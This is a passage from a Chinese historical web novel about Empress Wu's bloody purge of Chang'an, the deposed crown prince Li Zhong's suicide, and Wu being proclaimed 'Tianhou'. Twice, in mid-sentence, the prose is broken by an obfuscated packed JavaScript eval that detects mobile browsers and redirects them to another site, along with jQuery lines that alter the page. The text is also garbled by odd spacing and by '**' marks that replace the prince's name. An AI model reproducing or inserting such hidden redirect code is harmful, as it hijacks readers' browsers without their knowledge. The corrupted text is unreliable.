“ 娘 娘, 这 是 初 步 整 理 出 的 涉 案 人 员 名 单, 共 三 百 七 十 五 人, 其 中 朝 官 四 十 二 人, 地 方 官 员 及 其 亲 属 六 十 八 人, 勋 贵 子 弟、 家 将、 门 客 等 二 百 六 十 五 人。 另有嫌疑待查者, 尚 有 百 余 人。” 上官婉儿的声音带着一丝不易察觉的颤抖,她毕竟还是个年轻的女子, 面 对 如 此 血 腥 的 清 单, 难 免 心 惊。
武媚娘接过名单,只是淡淡地扫了一眼,便放在一旁。 她 的 目 光 落 在 那 些 抄 没 来 的 书 信 和 账 册 上, 眼 中 闪 过 一 丝 冷 嘲。 “ 不 少 人 呐 … … 看 来, 想 要 本 宫 和 李 瑾 脑 袋 的 人, 还 真 是 不 少。 也难怪, 盐 铁 之 利, 触 动 了 多 少 人 的 根 基; 这朝堂权柄, 又 让 多 少 人 眼 红 心 热。” 她拿起一封信,看了看,正是某位被牵连的刺史写给江夏王的密信, 信 中 不 仅 有 对 盐 铁 专 卖 的 抱 怨, 更 有 对 武 后 “ 牝 鸡 司 晨” 的 恶 毒 攻 讦。
“ 按 名 单, 一 个 一 个 地 查, 一 个 一 个 地 办。” 武媚娘的声音平静无波,却带着令人心悸的寒意,“ 不 必 急 于 一 时, 也 不 可 放 过 一 个。 该 杀 的 杀, 该 流 的 流, 该 贬 的 贬。 空出来的位置……” 她抬眼看向上官婉儿,眼中精光一闪,“ 让 吏 部 拟 个 名 单 上 来, 要 用 那 些 懂 事 的、 有 能 力 的、 出 身 … … 不 那 么 高 的。 李瑾那边推荐的几个寒门出身的进士, 可 以 考 虑。”
“是,娘娘。” 上官婉儿心中一凛,知道这不仅仅是一场清洗, 更 是 一 次 权 力 的 重 新 洗 牌 和 布 局。 经此一役,朝堂之上,恐怕要空出不少位置,而这些位置,将会被武后信任的人,尤其是那些没有强大门阀背景的寒门士子所填补。
“ 太 子 那 边 … … 有 什 么 动 静?**” 武媚娘忽然问道,语气听不出喜怒。
上官婉儿谨慎地回答:“ 回 娘 娘, 太 子 殿 下 自 昨 夜 受 惊 后, 一 直 在 东 宫 静 养, 未 曾 出 门。 只是…… 据 闻, 殿 下 对 昨 夜 之 事 颇 为 惊 惧, 对 于 … … 对 于 外 间 的 处 置, 似 有 不 忍 之 言。”
武媚娘眼中闪过一丝莫测的光芒, 沉 默 了 片 刻, 缓 缓 道: “ 弘 儿 仁 厚, 是 好 事, 也 是 坏 事。 这 件 事, 你 不 必 多 管。 陛下龙体欠安, 这 些 日 子, 就 让 太 子 多 在 陛 下 身 边 侍 奉 汤 药 吧。”
“奴婢明白。” 上官婉儿低头应道。 这 是 要 将 太 子 暂 时 “ 保 护” 起 来, 不 让 他 接 触 外 界, 也 避 免 他 因 仁 弱 而 说 出 或 做 出 什 么 不 合 时 宜 的 事 情。**
黄昏时分,李瑾拖着疲惫的身躯,再次入宫觐见。
紫宸殿内, 李 治 服 了 药, 已 经 沉 沉 睡 去。 武媚娘在偏殿接见了他。殿内只点了几盏灯,光线有些昏暗, 映 照 着 武 媚 娘 略 显 疲 惫 但 依 旧 锐 利 的 侧 脸。
“ 都 安 排 妥 当 了?” 武媚娘没有寒暄,直接问道。
“ 回 娘 娘, 基 本 已 经 控 制 住。 首 恶 及 其 直 系 亲 属 大 部 分 已 经 落 网, 正 在 按 诏 行 事。 西市今日已处决叛逆七十三人。 长 安 各 门 严 查, 暂 未 发 现 大 股 逃 窜 之 敌。 各地海捕文书已用六百里加急发出。 抄 没 的 财 物 正 在 清 点, 初 步 估 计, 数 额 极 为 巨 大。” 李瑾简洁地汇报。
“ 嗯。” 武媚娘微微颔首,目光落在李瑾脸上,似乎想从他平静的面容下看出些什么,“ 心 中 可 有 不 忍?**”
李瑾沉默了一下,坦然道:“ 回 娘 娘, 确 有 不 忍。 刀 斧 加 于 妇 孺, 非 臣 所 愿。 然, 叛 逆 大 罪, 祸 连 宗 族, 古 已 有 之。 今 日 之 仁, 或 为 明 日 之 祸。 臣 既 受 命 于 陛 下 与 娘 娘, 自 当 以 国 法 为 先, 以 社 稷 为 重。”
“ 以 国 法 为 先, 以 社 稷 为 重 … … 说 得 好。” 武媚娘轻轻重复了一遍,眼中闪过一丝复杂,但很快被坚定取代,“ 你 能 明 白 这 一 点, 很 好。 李瑾,记住, 在 这 个 位 置 上, 有 时 候, 冷 血 比 仁 慈 更 有 用。 今日你我对他人仁慈, 来 日 他 人 未 必 会 对 你 我、 对 陛 下、 对 这 大 唐 江 山 仁 慈。 玄武门下的血,不能白流。”
“ 臣, 谨 记 娘 娘 教 诲。” 李瑾躬身。
“ 这 几 日, 你 辛 苦 了。 但事情还未完。” 武媚娘的语气转为严肃,“ 清 洗 只 是 手 段, 不 是 目 的。 目的是要让所有人知道, 反 对 变 法, 反 对 朝 廷, 是 什 么 下 场。 同 时, 也 要 让 所 有 人 看 到, 跟 着 朝 廷, 跟 着 陛 下 和 本 宫, 前 途 才 是 光 明 的。 盐铁之利,要继续推行,而且要更快、更彻底。 空 出 来 的 位 置, 要 尽 快 用 我 们 的 人 填 补 上 去。 神策军,经此一役,威名已立,可考虑扩编, 不 仅 驻 守 京 师, 也 要 逐 步 替 换 一 些 关 键 地 方 的 府 兵。”
她站起身,走到窗前,望着窗外渐渐沉落的夕阳, 天 边 的 云 彩 被 染 成 了 一 片 血 红 色, 就 像 这 座 城 市 今 日 流 淌 的 鲜 血。
“ 长 安 城 的 血, 暂 时 流 得 差 不 多 了。 但 这 只 是 开 始。 接 下 来 … …” 她没有说下去,但李瑾明白她的意思。 接 下 来, 是 朝 堂 的 清 洗, 是 地 方 的 整 肃, 是 将 这 场 风 暴 的 影 响 力, 从 长 安 扩 散 到 整 个 大 唐 的 每 一 个 角 落, 将 所 有 敢 于 反 对 的 声 音, 彻 底 碾 碎。**
“ 臣, 明 白。 定当竭尽全力,辅佐娘娘,推行新政,稳固社稷。” 李瑾沉声应道。
武媚娘转过身,看着这个在关键时刻总是站在自己身边, 手 段 犀 利 却 又 懂 得 分 寸 的 年 轻 重 臣, 脸 上 终 于 露 出 一 丝 极 淡 的、 几 不 可 察 的 疲 惫 与 缓 和。 “ 你 下 去 吧, 好 生 休 息。** 明日,还有很多事要做。”
“ 臣 告 退。**” 李瑾行礼,缓缓退出了偏殿。
走出紫宸殿, 寒 冷 的 夜 风 吹 在 脸 上, 让 他 精 神 为 之 一 振。 抬头望去, 夜 空 中 繁 星 点 点, 但 脚 下 这 座 雄 伟 的 帝 都, 却 依 旧 沉 浸 在 血 腥 与 恐 惧 交 织 的 黑 暗 之 中。 他知道,这场席卷长安的清洗风暴,还远未到平息的时候。 而 他, 作 为 这 场 风 暴 最 主 要 的 执 行 者 之 一, 已 经 没 有 了 回 头 的 路, 只 能 握 紧 手 中 的 刀, 在 这 条 布 满 荆 棘 与 鲜 血 的 道 路 上, 继 续 走 下 去。**
远处,隐约又传来了梆子声和士兵巡逻的整齐脚步声, 提 醒 着 人 们, 这 个 漫 长 而 血 腥 的 夜, 还 没 有 结 束。**
第139章 废太子自尽
显庆五年,正月初三。
长安城的血腥清洗已进入第三天。西市口的刑场几乎无日不行刑,浓重的血腥气和焚烧尸体的焦臭味弥漫在城市上空,久久不散。昔日繁华喧闹的街市,如今行人稀少,店铺大多关门歇业,只有巡逻士兵整齐沉重的脚步声和偶尔响起的、押送囚犯的镣铐声,打破这片压抑到极点的死寂。**恐惧,已如同毒藤般缠绕在每个长安居民的心头。
然而,这场风暴的余波,远比人们想象的更为深远和危险。清洗的名单在不断延长,从最初直接参与叛乱的宗室勋贵,蔓延到与他们有密切往来的官员、门客,再到那些在盐铁专卖等新政中利益受损、曾有怨言的地方豪强和朝中官员。神策军和北衙禁军的缇骑四出,不断有人被从府邸、衙署甚至宴席上带走,投入阴森的大理寺狱或刑部大牢。每一次抓捕,都伴随着家人的哭嚎和邻里的惊惧,也让那份无形的恐惧不断加深。
就在这人人自危的气氛中,一个敏感而危险的名字,开始在某些隐秘的渠道和私下的耳语中悄然流传开来——废太子李忠。**
梁王府,位于长安城东南隅的安兴坊。
与荆王府、江夏王府等曾经的显赫不同,梁王府自**被废黜太子之位、降封梁王后,便一直是门庭冷落,戒备森严。名为王府,实则与高级囚笼无异。府内仆从多是宫中派来监视的内侍和宫娥,府外则由北衙禁军轮番值守,名义上是保护王爷安全,实则是严密监视其一举一动,杜绝与外界的不当交往。
**,这个曾经的大唐储君,如今已年过二十,身材瘦削,面色苍白,眉宇间总是凝结着一层挥之不去的郁悒和惊惶。他被废多年,远离权力中心,但身上流淌的血脉和曾经的地位,使他永远无法真正摆脱政治的阴影。尤其是他的生母刘氏(宫女出身,已故)和舅父柳奭(已被诛杀),都曾是长孙无忌、褚遂良等关陇元老集团的重要人物,这更是他无法摆脱的原罪。**
除夕宫变的消息,如同晴天霹雳,重重击打在**本就脆弱不堪的心防上。
起初,他只是从值守禁军比平日更加肃杀凝重的神色,以及府中内侍宫娥窃窃私语中断续听到的“宫中有变”、“有人作乱”等只言片语。随后,当皇帝的《讨逆诏》贴满长安街头,荆王、江夏王等一个个熟悉的宗室长辈名字出现在那血淋淋的名单上时,李忠的世界彻底坍塌了。**恐惧,如同冰冷的毒蛇,死死缠住了他的心脏,让他夜不能寐,食不下咽。
“清君侧……诛武氏……”他独自躲在书房最深的角落里,浑身发抖,喃喃地重复着这几个字。他太清楚这几个字意味着什么了,也太清楚自己的处境了。那些作乱的宗室叔伯,口口声声要“清君侧”,要诛杀武后和李瑾,可他们心里真正想要扶植的,难道就没有一丝一毫是他这个被废的、身上流着关陇集团血脉的前太子吗?哪怕他们从未联系过他,哪怕他对此一无所知,但在武后和李瑾眼中,在那些急于表现忠心、扩大战果的酷吏鹰犬心中,他李忠,就是一个天然的、最好的靶子和借口!**
“殿下……您多少用点粥吧。**”一个老内侍端着几乎未动的早膳,忧心忡忡地走进来,他是少数几个从东宫跟随**到梁王府的旧人。
**抬起布满血丝的眼睛,看着老内侍,声音嘶哑:“外面……还在杀人吗?**”
老内侍手一颤,差点打翻粥碗,他低下头,不敢看**的眼睛,声音带着哭腔:“殿下……您别问了,好生保重身子要紧。陛下……陛下总会念着父子之情的……”这话说得他自己都没底气。谁不知道,如今的陛下,龙体欠安,深居简出,朝政尽在皇后掌握之中。**而皇后对这位废太子,可从未有过半分好感。
“父子之情……”**惨然一笑,泪水无声地滑落。他想起了小时候,父亲(李治)也曾将他抱在膝头,教他认字读书,那时的父皇,眼中是有温情的。可自从武氏入宫,一切就都变了。他的太子之位摇摇欲坠,母族势力被逐一铲除,最终……他还是被废了。如今,父皇病重,那个女人大权独揽,会放过他这个前太子、这个可能的威胁吗?**
仿佛是为了印证他心中最深的恐惧,当日下午,一队陌生的、身着神策军服色的士兵,在几名面生的宦官带领下,来到了梁王府外。
他们没有进入府内,只是替换了原本值守的北衙禁军,并以“加强防卫,确保王爷安全”为名,将防卫圈向内收缩,甚至开始盘查进出府邸的每一个人,包括送菜送米的杂役。气氛陡然变得更加紧张和压抑。
紧接着,曾经在东宫服侍过李忠、后被安排到梁王府的两名年长宦官和一名掌事宫女,被那些神策军士兵“请”出了王府,再也没有回来。府中剩下的仆役,个个面如土色,噤若寒蝉,看向李忠的目光中充满了恐惧和……一种刻意的疏离。**
这一切,都像是一把把缓慢而坚定地抵近他咽喉的利刃,让他清晰地感受到了死亡临近的寒意。
**彻底崩溃了。他整日躲在书房,不点灯,不说话,只是呆呆地坐着,眼中的光彩一点点熄灭。窗外隐约传来的、不知是真实还是臆想的士兵巡逻声、低语声,都让他惊跳不已。他觉得自己就像一只被困在蛛网中央的飞虫,看着那只名为“命运”(或是“武后”)的巨大蜘蛛,正不慌不忙地向他爬来,等待着最后的吞噬。**
正月初四,夜,雨。
凄冷的冬雨敲打着梁王府的屋瓦和窗棂,发出单调而令人心烦意乱的声响。书房内没有点灯,一片漆黑。**独自坐在书案后,借着窗外偶尔划过的闪电,可以看到他苍白如纸的脸和空洞绝望的眼神。**
书案上,摊开着一份他早已烂熟于心的《孝经》,旁边,放着一柄精致的、曾是他少年时父皇赏赐的短剑。剑鞘上镶嵌的宝石在闪电映照下,闪烁着冰冷诡异的光芒。
他伸出手,冰凉的手指轻轻抚过短剑冰冷的剑鞘,然后,缓缓地、坚定地,将其抽了出来。剑刃在黑暗中泛着幽蓝的寒光。
“父皇……儿臣……不孝……”他低声呢喃,泪水再次涌出,混合着脸上不知是雨水还是汗水,滴落在书案上。他想起了母亲模糊的容颜,想起了舅父柳奭被带走时那悲愤而无助的眼神,想起了东宫那些曾经对他寄予厚望、如今却已星散或死去的师傅属官……最后,他想起了那个女人冰冷而威严的目光,以及这几日府外那越来越近、越来越紧的包围圈。**
他知道,自己等不到父皇的赦免了。即使父皇有心,那个女人也绝不会允许他这个隐患继续活在世上。与其像荆王叔祖他们一样,被按上谋逆的罪名,在西市口被当众斩首,累及身边最后几个忠心的旧人,不如……自己了断。至少,能死得稍微体面一些,也许……也许能让那个女人放过他无辜的妻妾和年幼的子女?**
这个微弱的、自欺欺人的念头,成了压垮他求生意志的最后一根稻草,也成了促使他做出最后决定的催化剂。
他拿起笔,手颤抖得厉害,在铺开的素绢上,借着窗外微弱的天光和闪电,开始写下他在这个世上最后的话语。**
“儿臣忠,百拜上言父皇陛下:儿不肖,蒙父皇天恩,忝居储副有年,然德不配位,屡失圣心……今既废黜,本当闭门思过,了此残生……然近日宫闱惊变,宗枝罹祸,儿虽身处幽禁,闻之亦心胆俱裂……儿自省一生,于国无功,于亲不孝,上累君父之忧,下负臣民之望……实无颜再立于天地之间……”
写到这里,泪水已模糊了字迹。他停下笔,深深吸了一口气,仿佛要将所有的恐惧、不甘、冤屈和绝望都压入心底。**然后,继续写道:
“今愿以此残躯,谢罪于陛下,谢罪于天下。伏乞陛下念在父子一场,垂怜儿之妻孥幼子,皆是无辜,乞赐全活……儿忠,绝笔。”
写罢,他将笔轻轻放下,仿佛卸下了千钧重担。他最后看了一眼窗外漆黑的雨夜,耳畔似乎又响起了童年时父皇温和的教导声,以及母亲轻柔的歌谣。然而,这一切都早已远去,被无情的政治漩涡撕得粉碎。
他握紧了那柄短剑,冰凉的剑
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000299|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
柄让他打了个寒颤。他将剑尖对准了自己的胸口,闭上了眼睛。
“愿来生……不再生于帝王家……**”最后一声低不可闻的叹息,消散在雨夜中。
下一刻,他用尽全身力气,将短剑狠狠刺入了自己的心脏!**
剧痛瞬间席卷全身,温热的液体迅速涌出,浸湿了他的衣袍。他闷哼一声,身体无力地向前倾去,重重地伏在了书案之上。那张写满绝笔的素绢,很快被殷红的鲜血浸透、染红……
窗外的雨,下得更急了。雷声隆隆,掩盖了书房内最后一丝微弱的声响。
次日清晨,雨住天未晴。
当值守的宦官如同往常一样,战战兢兢地推开书房门,准备送上早膳时,看到的便是这样一幅令人魂飞魄散的景象。**凄厉的尖叫声瞬间划破了梁王府死寂的清晨。
消息以最快的速度,通过各种渠道,传入了皇宫,传到了转运使司,也迅速在长安城那些敏感的耳朵里扩散开来。
紫宸殿。
李治刚刚服下一剂安神汤药,精神稍有起色,正由武媚娘陪着用早膳。当内侍监面无人色、连滚带爬地冲进来,语无伦次地禀报了梁王李忠“暴毙”于书房、身边有血书绝笔的消息时,李治手中的银箸“当啷”一声掉在了地上。
他猛地抬起头,脸色瞬间变得比身上的寝衣还要苍白,眼睛瞪得大大的,嘴唇剧烈地颤抖着,却一个字也说不出来。他像是被瞬间抽走了所有的魂魄,只是呆呆地、空洞地望着前方,仿佛无法理解这个消息的含义。
“忠儿……忠儿……”过了许久,一声压抑到极致、仿佛从肺腑深处挤出来的、撕心裂肺的痛呼,终于冲破了他的喉咙。紧接着,是剧烈到无法抑制的咳嗽和呕吐,鲜血从他的口鼻中涌了出来。
“陛下!快传太医!传太医!”武媚娘脸色也是一变,连忙上前扶住李治,一边为他抚胸顺气,一边厉声吩咐。她的眼中闪过一丝极快的不易察觉的波澜,但很快就被担忧和焦急所替代。**
殿内顿时乱作一团。
转运使司。
李瑾正在与程务挺、刑部、大理寺的官员商议下一步清洗名单和人员处置。当梁王府的消息传来时,所有人都是一愣,随即陷入了一种更加诡异的沉默。**
废太子**,在这个敏感的时刻,以这种方式结束了自己的生命。这意味着什么?是畏罪**?是恐惧过度?还是……被逼自尽?没有人敢深想,但每个人心中都有一杆秤。
程务挺看向李瑾,眼神复杂。李瑾的脸上没有任何表情,只是那握着茶盏的手指,因为过于用力而指节泛白。他缓缓放下茶盏,声音平静得没有一丝波澜:
“既是梁王殿下自行了断,身边又有绝笔血书,那便……按例上报吧。着人妥善收殓,一应后事,等候陛下和皇后娘娘旨意。梁王府一应人等,严加看管,不得妄动。此事……暂不要对外张扬。**”
“是。”众人低声应道,心情却是前所未有的沉重。废太子之死,就像一块巨石投入本就波涛汹涌的湖面,必将激起更为凶险的暗流。这不再仅仅是清洗叛逆,而是触及了皇位继承和帝国未来的最敏感神经。
消息终究是封锁不住的。不到半日,“废太子李忠畏罪自尽”的传言,便如同长了翅膀一般,在长安城的街头巷尾、高门大宅中悄然流传开来。有人叹息,有人恐惧,有人暗中揣测,更有人将愤恨与不安的目光,再次投向了那座巍峨的大明宫和权势熏天的转运使司。**
废太子**的死,如同一道深深的裂痕,刻在了这场血腥清洗的记忆之中,也刻在了所有知情者的心上。它提醒着人们,这场权力的游戏,没有人是真正的安全者,哪怕是曾经离那张龙椅最近的人。而风暴的中心,那位屹立在紫宸殿前的皇后,在听到这个消息时,除了最初那一瞬的波动,脸上便再无其他表情,只是更加沉默地,握紧了手中那无形的权杖。
雨后的长安,天空依旧阴沉。而弥漫在这座城市上空的血腥与恐惧,因为废太子的死,变得更加浓重,也更加扑朔迷离。**
第140章 凤位自此固
显庆五年,正月初五,大朝会。
尽管年节的喜庆早已被血腥冲刷得一干二净,尽管长安城依旧笼罩在肃杀与恐惧之中,但这场因叛乱而推迟数日的元旦大朝会,仍然以一种前所未有的规格和肃穆,在大明宫含元殿举行。这不再仅仅是一场年节庆典,而是一场宣示胜利、重塑权威、确立新秩序的政治仪式。**
寅时三刻,天色未明。
含元殿前宽阔的龙尾道和殿前广场,已是火把通明,甲士林立。值守的已非往日的金吾卫或千牛卫,而是清一色身着明光铠、手持陌刀或长槊、面容冷峻的神策军精锐。他们如同铜浇铁铸的雕像,从含元殿前一直排列到丹凤门外,森然的杀气与金属的寒光交织在一起,让每一个步入皇城的官员都感到呼吸困难,心头沉重。**
卯时正,百官依序入殿。
与往年的衣冠济济、低声谈笑不同,今日的百官队列显得稀疏了许多,空出了不少本该属于宗室亲王、勋贵大臣的位置。幸存者们低眉顺目,步履谨慎,几乎不敢与身旁同僚有任何眼神交流,更遑论私语。空气中弥漫着一种令人窒息的静默,只有靴底摩擦金砖的沙沙声,以及殿外寒风卷过旗帜的猎猎声。许多人的目光,不由自主地瞟向御阶左侧——那里,原本是宰相与核心重臣的位置,如今,一个年轻的、身着紫袍的身影静静伫立着,正是转运使、神策军使李瑾。他的存在本身,就是这场风暴后权力格局最直接的体现。**
辰时初,钟磬齐鸣,雅乐奏响。
“陛下驾到——皇后娘娘驾到——**”内侍尖细悠长的唱喏声穿透大殿。
在两名内侍的搀扶下,身穿赭黄衮服、头戴通天冠的皇帝李治,步履虚浮地从殿后走出。他的脸色在冠冕的珠旒遮掩下看不太清,但那异常苍白的下颌和需要人搀扶才能稳步前行的姿态,清晰地告诉所有人他的病情有多么沉重。废太子**的死,显然给了这位本就油尽灯枯的皇帝最后一击。
然而,真正吸引所有人目光、也真正主宰着殿内气氛的,是与皇帝并肩而行、稍稍落后半步的皇后武媚娘。
她今日穿着皇后最高规格的祎衣,深青色的织锦上绣着翚翟纹章,头戴奢华的九龙四凤冠,珠翠满头,雍容华贵到了极致。但比这身装束更令人印象深刻的,是她脸上那种平静到近乎冷漠的神情,以及那双扫视殿内百官时,锐利如刀、仿佛能洞穿一切心思的眼神。经历了玄武门的血火、主导了长安城的清洗,此刻的她,身上已经看不到丝毫属于女子的柔弱或犹疑,只有属于统治者的绝对威严与冰冷的理智。
帝后并肩升御座。虽然按礼制,皇后的座位应稍低于皇帝,且中间有帘幕相隔,但今日,那道帘幕并未垂下。武媚娘就那样端坐在御座之侧,与皇帝平分着这座帝国最高殿堂的视野,也平分着俯瞰百官的权力感。这是一个强烈的、无声的政治信号。**
“吾皇万岁,万岁,万万岁!皇后千岁,千岁,千千岁!”百官在礼官引领下,整齐划一地行三跪九叩大礼,山呼之声震动殿宇。这欢呼声比往年更加响亮,也更加……带着一种刻意的、近乎谄媚的恭顺。**
李治虚弱地抬了抬手,示意平身。他的目光有些涣散,似乎对眼前的一切都不甚在意。
接下来,本该由宰相或重臣领衔,奏报去岁政绩、新年贺词。但今年,这个程序被简化了。御座旁的帘后(实际未垂帘),上官婉儿手捧圣旨,开始用清晰而平稳的声音宣读。
第一道,是对叛乱事件的最终定性与处置总结。再次严厉申斥了荆王、江夏王等人的“滔天大罪”,宣布其爵位永远削除,宗籍除名,不得入宗庙。同时,对在平叛中立功的人员进行褒奖。**
“……北衙禁军大将军程务挺,忠勇奋击,力保宫禁,功在社稷,加封左骁卫大将军,进爵代国公,食邑三千户,赐丹书铁券,图像凌烟阁。**”
“转运使、神策军使李瑾,闻变即动,率师戡乱,迅扫妖氛,厥功至伟。加授同中书门下三品,晋爵赵国公,食邑五千户,仍总领诸道盐铁转运使司,兼掌神策军。另赐绢万匹,金千两,东都甲第一区……”
一道道封赏宣读出来,每一个名字和爵位的提升,都像重锤敲击在百官心头。程务挺的图像凌烟阁,这是武将的最高荣誉;李瑾的同中书门下三品,意味着他正式成为名副其实的宰相,而非仅仅是“同平章事”的使相。爵位、食邑、实权的大幅提升,尤其是继续总领转运使司和神策军,意味着他的权势已经达到了一个前所未有的高度,真正成为了帝国财政、军事的双重巨擘。
“臣,谢陛下、皇后娘娘隆恩!必当竭诚尽瘁,死而后已!”李瑾出列,撩袍跪倒,声音沉静而有力。他的目光与御座上的武媚娘有一瞬的交汇,彼此都看到了对方眼中的决断与……一种难以言喻的默契。
接下来,是对一系列“附逆”官员的最后处置。又是一长串令人心惊肉跳的名单,罢官、夺爵、流放、抄家……其中不乏一些曾在朝中颇有影响力的人物。每念出一个名字,殿中便有人脸色惨白,身体微晃。这是在用最直接的方式,清理朝堂,铲除异己。
然后,是新的人事任命。大量空出来的职位,被迅速填补。令许多人惊讶的是,这些新任命的官员,多是出身中下层官僚家庭或寒门的进士,年纪相对较轻,且多在盐铁转运使司、神策军或其他新政部门中有过历练。他们的脸上,带着难以掩饰的激动与对未来的憧憬。他们是这场风暴的受益者,也将是武后与李瑾最坚定的支持者。
最后,是一道出乎所有人意料、却又在情理之中的诏书。
“制曰:朕绍承丕绪,夙夜兢兢。皇后武氏,德配坤元,才标彤管。自辅佐朕躬以来,赞宣阴教,裨益弘多。尤以去岁元正,凶徒犯阙,皇后临危不乱,指挥若定,镇抚宫掖,保障朕躬,功在社稷,利在千秋。朕感其忠勤,念其勋劳,特允皇后同朕共理万机,平章百揆。自今以后,皇后可随朕御紫宸殿视朝,所上表疏,皆称‘天后’。布告中外,咸使闻知。钦此。**”
“同朕共理万机,平章百揆”!“御紫宸殿视朝”!“天后”!**
这道诏书,如同一道惊雷,在已经震撼到麻木的百官心中再次炸响!虽然“二圣临朝”在去岁已偶有实行,但那多是在皇帝病重时的权宜之计。如今,这道明发天下的诏书,以最正式、最权威的方式,将武后(现在是“天后”)与皇帝共治天下的地位法定化、固定化、公开化了!而且,从今往后,她不再仅是皇后,而是与皇帝并称的“天后”!这是一个前所未有的尊号,也是一个前所未有的政治地位!
殿内一片死寂。所有人都被这道诏书的分量震住了。有人惊愕,有人恍惚,有人目光闪烁,但更多的人,是一种彻底的顺从与畏惧。经历了玄武门的血与火,长安城的清洗,废太子的暴毙,再也没有人敢对这道诏书发出哪怕一丝一毫的质疑。
“天后千岁,千岁,千千岁!”不知是谁率先反应过来,高声呼喊。随即,整个含元殿内再次响起了山呼海啸般的颂扬之声。这次的声音,比之前更加整齐,更加响亮,也更加……发自内心的恐惧与臣服。**
武媚娘——现在应该尊称为天后——端坐在御座之上,神色平静地接受着百官的朝拜。阳光透过高大的殿门照射·进来,在她华丽的祎衣和凤冠上流转跳跃,为她的身影镀上了一层金色的、令人不敢直视的光晕。这一刻,她不再是那个需要隐在帘后、借助皇帝名义行事的皇后,而是真正站在了大唐帝国权力之巅,与皇帝并肩,接受万方朝贺的天后!
凤位,自此固若金汤,无可动摇。
大朝会在一种近乎仪式化的肃穆与恭顺中结束。百官依次退出含元殿,许多人的后背都已被冷汗浸湿。他们知道,从今天起,一个全新的时代开始了。这个时代的主宰者,名叫武曌(媚娘),尊号天后。任何敢于挑战其权威的人或势力,都将被毫不留情地碾碎。
紫宸殿后殿。
李治已经被扶下去休息,他的精神和身体都已经无法支撑更久。殿内只剩下武媚娘(天后)和侍立在一旁的上官婉儿。
褪去了沉重的朝服
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17000300|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
凤冠,换上一袭常服的天后,脸上的威严稍减,但那种掌控一切的气度却愈发内敛而深沉。她走到窗前,望着窗外依旧肃杀但已恢复秩序的皇宫。远处,玄武门的方向,血迹已被清洗,但那场厮杀的记忆,却永远刻在了这座宫殿的砖石和她的心中。**
“婉儿,你说,这条路,是不是走到头了?**”她忽然轻声问道,声音里带着一丝罕见的、几乎无法察觉的疲惫。
上官婉儿心中一凛,小心翼翼地回答:“娘娘……天后春秋鼎盛,如日中天,前路正长,何来‘到头’一说?今日大朝会,正是新章之始。**”
“新章之始……是啊,是新章。”天后重复了一句,眼中重新凝聚起锐利的光芒,“旧的障碍,已经扫清了。但新的路,未必好走。盐铁专卖,初见成效,但要深入下去,触动的利益会更深。神策军虽锐,但要真正成为帝国的柱石,还需时日和战火锤炼。朝堂之上,看似恭顺,但那些世家门阀的根基,岂是一场清洗就能彻底铲除的?他们只是暂时蛰伏了而已。还有……太子。**”她提到太子李弘时,语气微微一顿。
上官婉儿不敢接话。
“不过,无论前路有多难,本宫……本天后,既然走到了这一步,就绝不会后退。”天后的声音重新变得坚定而冰冷,“盐铁要继续推,军队要继续练,朝堂要继续整肃。还有……那科举。”她转过身,看向上官婉儿,“你去传李瑾来见本宫。是时候,该动一动那些盘根错节的门阀根基了。让天下有才之士,不论出身,皆能为朝廷所用,这才是长治久安之道。”
“是,天后。”上官婉儿躬身应道,心中明白,一场新的、或许不那么血腥但同样激烈的变革,已经在这位刚刚确立无上权威的天后心中,拉开了序幕。
很快,李瑾应召而来。他的身上,依旧带着大朝会上那种沉稳而锋芒内敛的气度。**
“臣参见天后。**”他行礼,用上了新的尊号。
“平身吧。”天后看着他,目光深邃,“赵国公,今日之局面,来之不易。你功不可没。**”
“全赖天后洪福与陛下天威,臣不过尽忠职守。**”李瑾恭敬地回答。
“尽忠职守……很好。”天后微微颔首,“过去的事,暂且告一段落。眼下,有两件事,需要你立刻去办。第一,盐铁转运使司的体系,要借此次清查逆产之机,进一步向地方深入,尤其是那些被抄没的矿山、茶山,要迅速接管,纳入官营体系。第二,关于科举……**”
她走到书案前,拿起一份早已准备好的奏章草案,递给李瑾:“这是本宫与几位学士草拟的《请增广进士及诸科举人疏》,你看看。本宫欲在今年秋闱,大幅增加进士科及明经、明法、明算等诸科的录取名额,并对考试内容与形式进行改革,增加时务策与经世致用之学的比重。此事,你以宰相与转运使之身,会同礼部、吏部,尽快拟定细则,上奏实行。有敢阻挠者,不论是谁,皆以妨碍国是论处!**”
李瑾接过草案,快速浏览,心中已是明了。这是要从根本上打破门阀世家对仕途的垄断,为朝廷源源不断地输送出身寒微、却有真才实学且忠于新政的人才。这一招,比刀兵清洗更为深远,也更为根本。**
“臣,领旨。定当竭尽全力,推行此法,为天后、为朝廷选拔真正的栋梁之材。**”李瑾肃然应道。
“你去办吧。”天后挥了挥手。
李瑾行礼退下。走出紫宸殿,午后的阳光有些刺眼。他抬头望了望天空,长安城上空的阴霾似乎散去了一些,但前路,依旧漫长而充满未知的挑战。不过,无论如何,那个女人的地位,已经无人可以撼动。而他,作为她最倚重的利剑与臂膀,也将继续在这条布满荆棘与辉煌的道路上,走下去。**
凤位已固,权威空前。一个属于天后武曌的时代,正式拉开了它宏大而波澜壮阔的帷幕。所有的反对者,都已被踩在脚下;所有的障碍,都已被清扫一空。接下来,便是按照她的意志,重新塑造这个帝国的时候了。**
而这一切,才刚刚开始。**
第141章 增开进士科
显庆五年,二月,长安。
